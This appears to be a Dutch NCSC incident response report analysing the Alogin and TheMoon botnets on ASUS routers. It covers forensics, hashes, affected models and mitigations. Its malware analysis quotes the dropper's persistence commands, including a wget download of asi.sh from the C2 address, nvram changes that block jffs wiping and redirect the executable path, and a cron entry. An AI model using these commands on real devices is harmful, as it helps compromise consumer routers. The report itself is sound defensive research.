Consumentenrouters doelwit van meerdere botnets
Incident Response onderzoek
De malwarefamilies kwamen aan het licht tijdens een incident response onderzoek naar verdachte activiteiten die zijn waargenomen op ASUS-netwerkrouters van bedrijven en consumenten. Deze routers worden gebruikt door zowel particulieren als bedrijven voor hun internetverbinding. Het betreft hier expliciet de apparatuur die consumenten en bedrijven zelf openstellen richting het internet en niet netwerkapparatuur die verstrekt is door internetproviders.
Het verdachte internetverkeer werd ontdekt doordat de IP-adressen van deze routers gerapporteerd werden wegens veelvuldige authenticatiepogingen op SSH-servers. Ook kwam aan het licht dat deze routers deel uitmaakten van het Alogin-botnet, waar Team Cymru eerder over heeft gerapporteerd. Deze bevindingen waren voor het NCSC voldoende reden om, samen met onze partners, op bezoek te gaan bij de eigenaar van een van de gecompromitteerde routers. Het onderzoek is ter plekke uitgevoerd. Het NCSC heeft onbekende malware samples kunnen achterhalen die worden ingezet op kwetsbare apparaten.
Forensische analyse
Het incident response onderzoek naar het Alogin-botnet leidde naar de eigenaar van een ASUS RT-AC66u router die een blootgestelde telnetpoort had met een alogin: loginprompt. De eigenaar van deze router gaf het NCSC vrijwillig toegang tot de hardware voor forensisch onderzoek. De RT-AC66u router draaide op de laatste firmwareversie, was direct verbonden met het internet en het standaardwachtwoord was door de eigenaar veranderd bij de eerste installatie.
Zoals vaak het geval is bij embedded Linux-systemen, is het root-bestandssysteem van de getroffen ASUS-router ‘alleen-lezen’, waarbij beschrijfbare partities meestal zijn gemount als schrijfbaar ramfs. We verwachtten dat de malware zich in deze beschrijfbare gebieden zou bevinden en begonnen ons onderzoek daar. Gezien de mogelijke vluchtige aard van de malware, moesten we bestanden extraheren terwijl de router ingeschakeld bleef, omdat elk verlies van stroom zou kunnen leiden tot het verlies van bewijsmateriaal.
Om de malware veilig te stellen, ontwikkelde het NCSC twee methoden: de eerste betrof het gebruik van een seriële kabel die was aangesloten op de UART-pinnen op de printplaat van de router, en de tweede maakte gebruik van een functie in ASUS-routers die automatisch een script uitvoert vanaf een USB-stick wanneer deze wordt aangesloten. Aangezien de laatste methode minder ingrijpend was, kozen we ervoor om deze te gebruiken—en met succes.
Malware analyse
Als startpunt in de zoektocht naar malware-soorten, zijn de processen die op de geïnfecteerde router draaiden opgesomd en vergeleken met die op een identieke, niet-geïnfecteerde router. De verschillen waren direct duidelijk. Ook de directorylijst van de /tmp directory vertoonde opvallende verschillen vergeleken met de niet-geïnfecteerde router.
Een paar zaken vielen op: er waren talrijke processen met dezelfde naam, en twee afzonderlijke processen, /tmp/microso en .sox, leken beide de open-source ‘microsocks’-proxysoftware uit te voeren. Daarnaast waren de timestamps van de bestanden in de /tmp-directory opvallend anders. De aangetroffen alogin- en microso-bestanden waren op dezelfde dag aangemaakt, enkele maanden voor de .nttpd en .sox bestanden.
Dit wees erop dat er mogelijk twee afzonderlijke sets van malwaresamples aanwezig waren. Verdere binaire analyse van deze bestanden onthulde genoeg overeenkomsten en verschillen om te concluderen dat het hier om twee volledig verschillende malware-infecties ging. Het leek erop dat we twee botnets hadden gevonden die gelijktijdig op deze ASUS-router opereerden.
PID USER VSZ STAT COMMAND
10704 admin 1632 S telnetd -p 63256 -l /tmp/alogin
10965 admin 376 S /tmp/microso -u -P -p 63260 -d a
14836 admin 900 S ./.nttpd
14842 admin 828 S ./.nttpd
14844 admin 900 S ./.nttpd
14845 admin 900 S ./.nttpd
14846 admin 900 S ./.nttpd
14847 admin 900 S ./.nttpd
14848 admin 900 S ./.nttpd
22298 admin 2280 S ./.sox
22304 admin 1008 S ./.sox
22306 admin 2280 S ./.sox
22307 admin 2280 S ./.sox
22308 admin 2280 S ./.sox
22309 admin 2280 S ./.sox
22310 admin 2280 S ./.sox
22311 admin 2280 S ./.sox
22312 admin 2280 S ./.sox
/tmp/.tst
/tmp/.sox.pid
/tmp/.sox
/tmp/.tst.out
/tmp/.nttpd.pid
/tmp/.nttpd
/tmp/.nttpd-z
/tmp/asi.sh
/tmp/microso
/tmp/alogin
Impact
- Het NCSC heeft ongeveer 150 ‘small office and home office’ routers (SoHo-routers) in Nederland herkend waarvan wordt aangenomen dat ze zijn gecompromitteerd en zijn gerekruteerd in dergelijke botnets. Wereldwijd schatten we in dat deze deel uitmaken van een netwerk van 13.000 gecompromitteerde systemen.
- Meerdere bronnen hebben gemeld dat systemen binnen deze botnets zijn gebruikt voor authenticatiepogingen met een laag volume tegen enkele Microsoft cloudservices.
- Misbruikdatabases tonen talloze meldingen van brute-force SSH-inlogpogingen die afkomstig zijn van slachtoffer IP-adressen tijdens de infectieperiode van het alogin-botnet. Hoewel we deze acties niet direct aan malware kunnen toeschrijven, leiden de consistente patronen in de misbruikmeldingen en het feit dat ons onderzoek zich richt op typische internetverbindingen van consumenten, ertoe te vermoeden, dat deze activiteiten in het overgrote deel van gevallen waarschijnlijk niet toe te schrijven zijn aan de internetgebruikers.
- Er wordt vermoed dat deze botnets als een 'dienst' worden aangeboden aan actoren voor kwaadaardige doeleinden.
Hoe weet ik of ik ben getroffen?
NCSC heeft een script gepubliceerd op GitHub voor gebruikers van ASUS-routers. Dit script kan op een USB-stick worden geplaatst en worden uitgevoerd om mogelijke kwaadaardige processen en bestanden te controleren.
Houd er rekening mee dat dit script mogelijk niet werkt op alle ASUS-routermodellen en niet alle soorten malware detecteert. Het is enkel een indicatie voor besmettingen die gerelateerd zijn aan bevindingen in deze blog.
Mitigerende maatregelen
De volgende mitigatiestrategieën zijn echter op de lange termijn altijd effectiever en moeten voorrang krijgen, aangezien het USB-script geen waterdichte oplossing is en als laatste redmiddel moet worden beschouwd.
- Controleer regelmatig op firmware-updates van de leverancier en zorg ervoor dat netwerkapparaten up-to-date worden gehouden.
- Houd alle netwerkapparaten bijgewerkt en vervang apparaten die niet langer worden ondersteund door de fabrikant.
- Vermijd het direct blootstellen van netwerkapparaten aan het internet zonder de juiste beveiligingsmaatregelen te implementeren (voor consumenten, voor MKB en groter).
- Als je niet zeker weet hoe je jouw eigen Customer Premise Equipment (CPE) kunt beveiligen, overweeg dan om gebruik te maken van de apparatuur die door uw internetprovider (ISP) wordt geleverd.
Daarnaast werkt het NCSC samen met partners om contact op te nemen met en meldingen te sturen naar getroffen partijen.
Twee malwarefamilies
Het Alogin-botnet, vernoemd naar de kwaadaardige Telnet-servicebanner en de TCP-poort die gevonden is op de gecompromitteerde ASUS-routers, is recentelijk voor het eerst genoemd in een onderzoek van Team Cymru. Het botnet vertoont overeenkomsten met het 7777/Quad7-botnet, oorspronkelijk gerapporteerd door Gi7W0rm, dat zich richt op TP-Link routers.
Getroffen apparaten
Het Alogin-botnet bestaat uit verouderde ASUS-routers die niet langer worden ondersteund door de leverancier en ondersteunde ASUS-routers met niet-gepatchte firmware. Het NCSC vermoedt dat alleen ASUS-routers zijn aangetast via ‘port forwarding’ of die direct aan het internet zijn gekoppeld. Van onder andere de volgende ASUS-modellen wordt aangekomen dat zij kwetsbaar zijn geweest bij niet- gepatchte firmwareversies:
ASUS RT-AC51U
ASUS RT-AC66U
ASUS RT-AC68U
ASUS RT-AC86U
ASUS RT-AC87U
ASUS RT-N66W
ASUS RT-N66U
ASUS RT-N66R
ASUS RT-N18U
ASUS RT-N16
ASUS RT-N14UHP
ASUS RT-N14U
ASUS RT-MIR3G
ASUS RT-AX92U
ASUS RT-AX89X
ASUS RT-AX88U
ASUS RT-AX86U
ASUS RT-AX86S
ASUS RT-AX82U
ASUS RT-AX68U
ASUS RT-AX58U
ASUS RT-AX56U
ASUS RT-AX3000
ASUS RT-ACRH13
ASUS RT-AC88U
ASUS RT-AC87U
ASUS RT-AC87R
ASUS RT-AC86U
ASUS RT-AC85U
ASUS RT-AC750
ASUS RT-AC68W
ASUS RT-AC68U
ASUS RT-AC68R
ASUS RT-AC68P
ASUS RT-AC67U
ASUS RT-AC66W
ASUS RT-AC66U_B1
ASUS RT-AC66U
ASUS RT-AC66R
ASUS RT-AC58U
ASUS RT-AC56U
ASUS RT-AC56R
ASUS RT-AC55UHP
ASUS RT-AC55U
ASUS RT-AC54U
ASUS RT-AC5300
ASUS RT-AC52U_B1
ASUS RT-AC52U
ASUS RT-AC51UPlus
ASUS RT-AC51U
ASUS RT-AC3200
ASUS RT-AC3100
ASUS RT-AC1900P
ASUS RT-AC1900
ASUS RT-AC1750_B1
ASUS RT-AC1750
ASUS RT-AC1300UHP
ASUS RT-AC1300GPLUS
ASUS RT-AC1200HP
ASUS RT-AC1200
We raden eigenaren van ASUS-routers (de consumentenversie) aan om de Product Security Advisories van de leverancier op te volgen en het gebruik van apparaten die niet langer worden ondersteund, te stoppen.
Bevindingen
Het programma /tmp/alogin wordt uitgevoerd als de login-handler voor de originele telnetd-binary met behulp van het volgende commando: telnetd -p 63256 -l /tmp/alogin
Wanneer er een verbinding wordt gemaakt met deze poort, triggert telnetd het alogin-programma om het wachtwoord te verifiëren. Bij een succesvolle login worden verdere opdrachten doorgegeven aan de systeem-shell. Als het wachtwoord onjuist is, wordt de inlogpoging doorgestuurd naar de niet-bestaande /tmp/login-binary, wat resulteert in het verbreken van de verbinding.
De alogin-binary bevat debugsymbolen en vertoont sporen die vergelijkbaar zijn met die in andere Internet of Things (IoT)-malwarefamilies. Het NCSC heeft deze binary nog niet volledig geanalyseerd en zal bevindingen hierover mogelijk op een later tijdstip delen. Op een later moment wordt het tweede deel van deze malware infectie, de microso software, geactiveerd. Deze software creëert een socks5 proxy wat vermoedelijk gebruikt wordt door actoren om malicieuze activiteiten te ontplooien.
Malware bevindingen
Filename:/tmp/alogin
Type: alogin RAT
Hash: ff17e9bcc1ed16985713405b95745e47674ec98e3c6c889df797600718a35b2c
Filename: /tmp/microso
Type: Microsocks proxy binary
Hash:1d4df3e522daa0f3ccf4e8e1be8f2d83cd7e2e07329f7e4cb68537e31bd9f713
Persistentiemechanismen
Er zijn geen forensische sporen ontdekt die wijzen op persistentiemechanismen voor de alogin- en microso-malwarebinaries. Na een herstart van de router stopt de malware met draaien. Het NCSC vermoedt dat de actor kwetsbare routers na elke herstart opnieuw infecteert, vergelijkbaar met wat Sekoia ontdekte in hun onderzoek naar het Quad7-botnet dat zich richt op TP-Link-routers.
De afwezigheid van een persistentiemechanisme, in tegenstelling tot de TheMoon-malware die ook op de router werd aangetroffen, ondersteunt verder onze conclusie dat dit twee afzonderlijke malwarefamilies zijn die op hetzelfde apparaat naast elkaar bestaan.
Naast het Alogin-botnet presenteren we ook onze bevindingen over een nieuwe variant van TheMoon-malware, een bekende malwarefamilie die zich richt op ‘small office and home office’ routers (SoHo-routers) (ref1, ref2, ref3) en gelijktijdig met de Alogin-malware is aangetroffen op de ASUS-router.
Initial access methode
Het NCSC heeft nog geen bewijs gevonden dat de volledige exploit-keten identificeert waarmee initiële toegang is verkregen tot deze specifieke router. Verdachte logboekvermeldingen van de lighttpd-webserver die op de ASUS-router draait, wijzen echter op een mogelijke exploitatie van een bekende kwetsbaarheid in de Lighttpd-webdav-module:
webdav: User login 216.66.114.14 from ip 31.170.22.195
webdav: User login 216.66.114.14 from ip 31.170.22.195
webdav: User login 216.66.114.14 from ip 31.170.22.195
webdav: User login 216.66.114.14 from ip 31.170.22.195
webdav: User login 216.66.114.14 from ip 31.170.22.195
Het NCSC sluit niet uit dat er door de actoren ook gebruik is gemaakt van andere kwetsbaarheden bij andere routermodellen of firmwareversies.
Malware bevindingen
Filename: /tmp/.nttpd
Type: TheMoon MIPS32 malware binary
Hash: https://www.virustotal.com/gui/file/11c311d78dec499e26d42e47ef3bf51265c8c0a45b40c6396b57163309222a36
Filename: /tmp/.nttp-z
Type: TheMoon MIPS32 malware binary
Filename: /tmp/.sox
Type: Microsocks proxy binary
Hash: https://www.virustotal.com/gui/file/b996abc487f4f64644c01e9bd2ef4ff9c83ae1e2e3419434f9540fef454b0a6e
Filename: /tmp/asi.sh
Type: shell script malware dropper
Filename: /tmp/.tst
Type: shell script sox malware dropper
Filename: /jffs/.asusrouter
Type: persistent malware loader script
Hash: https://www.virustotal.com/gui/file/9bd06d9e100010ff25b75019453f3a18ac1bea427975f359f58dc63deb079d4f
Filename: /jffs/.bin/ntpclient
Type: persistent malware loader script vermomd als ntpclient
Hash: https://www.virustotal.com/gui/file/588a17c538b7c3c439f01cc88a8074b95cfce48fce82b47eb5aee8538de15c02
Persistentiemechanisme
Verdere analyse van het teruggevonden "asi.sh" dropper-script wees erop dat door de malware persistentie werd bereikt door de volgende shell-opdrachten naar een bestand .asusrouter in de /jffs-partitie te schrijven. Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten.
echo "nvram set NIwZI3pvmJ=1" >> /jffs/.asusrouter
echo "cru a 8ewMqdWf9K \"22 17,8,16 * * * /jffs/.asusrouter\"" >> /jffs/.asusrouter
echo "wget -O /tmp/asi.sh http://31.170.22[.]195/asi.sh" >> /jffs/.asusrouter
We vermoeden dat de NVRAM-sleutelwaarde NIwZI3pvmJ kan worden gebruikt als een marker om bij te houden welke methoden voor persistentie op de router zijn geactiveerd. Daarnaast voegt het een opdracht in om het script op vaste intervallen uit te voeren, met behulp van de cru crontab frontend die aanwezig is in de Asuswrt-firmware.
Ook voorkomt het asi.sh script dat de jffs-partitie wordt gewist of geformatteerd door deze opties uit te schakelen in de NVRAM van de router:
jffs2_format=$(nvram get jffs2_format)
if [ "$jffs2_format" == "1" ]
nvram set jffs2_format=0
nvram commit
In een poging om zichzelf te camoufleren en een secundaire persistente aanwezigheid te bereiken, creëert de dropper een kwaadaardig NTP-client uitvoerbaar bestand /jffs/.bin/ntpclient dat in grote lijnen dezelfde opdrachten uitvoert als het .asusrouter script, waarna de echte NTP-client wordt uitgevoerd. Om ervoor te zorgen dat deze kwaadaardige NTP-client wordt gestart in plaats van de echte, wordt opnieuw een ASUS-specifieke NVRAM-optie gebruikt om het uitvoeringspad te laten beginnen met de kwaadaardige /jffs/.bin directory:
nvram set env_path="/jffs/.bin"
Telemetrie
Verspreid over de verschillende shell-scripts stuurt de malware telemetrie naar de C2-server om de werking ervan aan te geven. De volgende C2-commando's zijn geïdentificeerd:
GET /asi.ko → verzoek gemaakt wanneer geconstateerd wordt dat de malware niet draaitGET /asi.ok → verzoek gemaakt wanneer geconstateerd wordt dat de malware draaitGET /asi.ko?pid=$MODEL&ntp=[off,on,ntpd] → verzoek naar server dat aangeeft of het “NTP”-persistentiemechanisme juist werktGET /.nttpd →verzoek dat de malware van de server ophaalt
Gerelateerde bevindingen
- De router bevatte ook sporen van een derde malware-infectie, waarschijnlijk gerelateerd aan dit sample:
3434839b2392f6fc729f428ac1eeb989b6c79e366e95b5236d8deaafd7489bf4 - Er is een ander mogelijk botnet ontdekt dat zich richt op dezelfde groep apparaten en een SSH-server beheert op poort 63257 met een "SSH-2.0-GO" banner. Het aantal getroffen apparaten dat aan deze criteria voldoet, wordt momenteel geschat op ongeveer 930.
Responsible disclosure
Het NCSC heeft contact met ASUS en de bevindingen in deze blog met hen gedeeld.
ASUS heeft als gevolg hiervan updates uitgebracht voor de getroffen routers die nog ondersteund worden. Daarnaast zijn er ook updates uitgebracht voor een aantal routertypen die niet langer binnen de supportperiode vallen.
Gebruikers van zelf aangeschafte ASUS-routers worden geadviseerd zo spoedig mogelijk de laatste firmwareversie te installeren en kennis te nemen van de recentelijk gepubliceerde ASUS security advisory.
Voor apparatuur die niet langer updates ontvangen, raadt ASUS de volgende maatregelen aan:
- De router naar fabrieksinstellingen te herstellen
- Op afstand benaderbare diensten zoals WAN access, AiDisk, AiCloud, FTP, VPN en port forwarding uit te schakelen
Dankbetuiging
- gi7w0rm voor het delen van informatie vanuit het oog van de storm
- Sekoia voor hun gedetailleerde verslag en getoonde expertise in het analyseren van hardware die is geïnfecteerd met het quad7 botnet.
- Team Cymru voor het openbaar delen van hun bevindingen over het alogin botnet.
- Onze partners en belanghebbenden die ons onderweg hebben geholpen.
- Bovenal: De familie die ons team in hun huis verwelkomde en ons toestond om een forensische analyse uit te voeren in hun woonkamer.